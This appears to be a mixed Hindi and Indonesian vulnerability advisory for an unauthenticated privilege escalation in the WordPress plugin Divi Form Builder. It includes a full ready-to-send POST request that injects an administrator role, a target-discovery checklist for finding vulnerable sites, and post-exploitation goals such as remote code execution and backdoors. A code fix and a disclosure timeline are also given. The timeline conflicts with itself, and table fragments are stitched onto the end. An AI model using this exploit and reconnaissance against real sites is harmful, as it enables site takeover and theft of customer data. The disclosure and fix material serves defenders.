
CVE-2026-5118 | Divi Form Builder <= 5.1.2 | Unauthenticated Privilege Escalation via Role Injection
वर्डप्रेस प्लगइन Divi Form Builder संस्करण 5.1.2 और पिछले में एक Critical भेद्यता है जो बिना प्रमाणीकरण के हमलावर को सीधे पंजीकरण फॉर्म के माध्यम से प्रशासक खाता बनाने की अनुमति देती है।
एक छिपा हुआ फ़ील्ड। एक बदला गया मान। पूरी वेबसाइट तक पूर्ण पहुंच।
| क्षमता | प्रभाव |
|---|---|
| 🔑 बिना लॉगिन के एडमिन खाता बनाएं | पूर्ण साइट अधिग्रहण |
| 📦 WooCommerce ग्राहक डेटा तक पहुंच | डेटा उल्लंघन |
includes/shared/handlers/FormSubmissionHandler.php → create_user()
// Baris ~1691: Ambil role dari input user (TANPA VALIDASI KEAMANAN)
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Baris ~1702: Hanya cek APAKAH role ADA di sistem, BUKAN apakah role AMAN
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber';
}
// Baris ~1745: Langsung terapkan role yang diinjeksi!
$user = new WP_User($user_id);
$user->set_role($role); // ← "administrator" langsung diterapkan
ALUR VALIDASI YANG BERMASALAH
┌──────────────────────────────────────────────────────┐
│ Penyerang kirim: role=administrator │
│ ↓ │
│ sanitize_text_field() → "administrator" (bersih) │
│ ↓ │
│ isset($roles_obj->roles["administrator"]) → TRUE │ ← BUG! Hanya cek ADA/TIDAK
│ ↓ │
│ $user->set_role("administrator") → ADMIN PENUH! │ ← PRIVESC!
└──────────────────────────────────────────────────────┘
"administrator" ADALAH role yang valid di WordPress,
jadi validasi isset() SELALU return true.
Fungsi ini TIDAK PERNAH menolak role berbahaya.
DFB पंजीकरण फॉर्म में एक छिपा हुआ इनपुट होता है:
<!-- Nilai asli dari developer -->
<input class="df_hidden_user_role" type="hidden" name="role" value="customer">
<!-- Penyerang cukup ubah value-nya -->
<input class="df_hidden_user_role" type="hidden" name="role" value="administrator">
[★] Target Discovery: Divi Form Builder indicator
├── Endpoint scan: 50+ path registrasi
├── Homepage link crawl: keyword priority
├── REST API: /wp-json/wp/v2/pages?search=register
├── Sitemap parsing: XML sitemap URLs
├── DFB REST API: /wp-json/divi-form-builder/v1
├── AJAX probe: de_fb_ajax_submit_ajax_handler
├── WooCommerce: /my-account/ sub-pages
├── robots.txt: custom sitemaps + disallow
├── Contact pages: DFB forms tersembunyi
└── wp-json deep: content-first scan
[✓] Ditemukan: <input class="df_hidden_user_role" value="customer">
[✓] Versi plugin: v4.1.9 (VULNERABLE)
[✓] Form multi-step dengan reCAPTCHA v3
Parameter yang diperlukan:
├── fb_nonce: [dari hidden input / de_fb_obj]
├── form_key: [dari hidden input]
├── form_type: register
├── divi-form-submit: yes
└── role: [INJEKSI: administrator]
Field pemetaan:
├── de_fb_user_login + user_login (kedua varian wajib)
├── de_fb_user_email + user_email
├── de_fb_user_pass + user_pass
└── de_fb_pass_repeat
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----POC
X-Requested-With: XMLHttpRequest
------POC
Content-Disposition: form-data; name="action"
de_fb_ajax_submit_ajax_handler
------POC
Content-Disposition: form-data; name="fb_nonce"
[nonce_dari_form]
------POC
Content-Disposition: form-data; name="role"
administrator
------POC
Content-Disposition: form-data; name="form_type"
register
------POC
Content-Disposition: form-data; name="divi-form-submit"
yes
------POC
Content-Disposition: form-data; name="de_fb_user_login"
attacker1337
------POC
Content-Disposition: form-data; name="user_login"
attacker1337
------POC
Content-Disposition: form-data; name="de_fb_user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="user_pass"
Str0ngP@ss!
------POC
Content-Disposition: form-data; name="de_fb_user_email"
[email protected]
------POC
Content-Disposition: form-data; name="user_email"
[email protected]
------POC--
[→] POST /wp-login.php
user_login=attacker1337&user_pass=Str0ngP@ss!
[←] HTTP 302 → /wp-admin/
[✓] FULL ADMINISTRATOR ACCESS CONFIRMED
├── Dashboard: /wp-admin/
├── Users: Can create/delete any user
├── Plugins: Can install/activate/edit PHP
├── Themes: Can edit template files → RCE
└── Settings: Full site control
परीक्षण पृथक Docker वातावरण (WordPress 6.5 + DFB v5.0.0) में किया गया:
╔══════════════════════════════════════════════════════╗
║ LAB VERIFICATION RESULTS ║
╠══════════════════════════════════════════════════════╣
║ Method: AJAX (admin-ajax.php) ║
║ Role injected: administrator ║
║ Response: "Registration successful!" ║
║ Login: HTTP 302 → /wp-admin/ ✓ ║
║ ───────────────────────────────────────────────── ║
║ Method: Form POST (direct submission) ║
║ Role injected: administrator ║
║ Response: "Registration successful!" ║
║ Login: HTTP 302 → /wp-admin/ ✓ ║
║ ───────────────────────────────────────────────── ║
║ Status: ★ PWNED — Full Admin Access ★ ║
╚══════════════════════════════════════════════════════╝
// SEBELUM (rentan):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles)
&& !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← Hanya cek ADA, bukan AMAN
}
// SESUDAH (aman):
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// Hanya izinkan role yang aman untuk registrasi publik
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // ← Tolak semua role berbahaya
}
role पैरामीटर को फ्रंटएंड फॉर्म से हटाएं — मौजूदा default_user_role का उपयोग करेंcurrent_user_can('create_users') क्षमता जांच जोड़ें विशेष भूमिकाओं के लिए| तिथि | घटना |
|---|---|
| 2026-04-13 | संस्करण 5.1.3 जारी (चेंजलॉग के अनुसार संभावित फिक्स) |
| 2026-05-21 | पृथक प्रयोगशाला में स्वतंत्र रूप से भेद्यता सत्यापित |
| 2026-05-21 | जिम्मेदार प्रकटीकरण Divi Engine Security को भेजा गया |
role=administrator पैरामीटर को ब्लॉक करने के लिए WAF नियम का उपयोग करेंwp_users तालिका की निगरानी करें/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handlerयह दस्तावेज़ शिक्षा और जिम्मेदार प्रकटीकरण के उद्देश्य से बनाया गया है। सभी शोषण परीक्षण पृथक प्रयोगशाला वातावरण में किए गए। लाइव लक्ष्य पर, केवल निष्क्रिय पहचान की गई (फॉर्म और पैरामीटर की पहचान, बिना शोषण डेटा भेजे)।
लेखक इस दस्तावेज़ में जानकारी के दुरुपयोग के लिए जिम्मेदार नहीं है।
CVE-2026-5118 • Divi Form Builder ≤ 5.1.2 • Unauthenticated Privilege Escalation
Discovered & Verified: 2026-05-21
| 💉 प्लगइन/थीम फ़ाइलें संपादित करें (PHP) |
| दूरस्थ कोड निष्पादन |
| 🕳️ छिपा हुआ बैकडोर बनाएं | स्थायी पहुंच |
| 👥 सभी उपयोगकर्ता डेटा देखें | गोपनीयता उल्लंघन |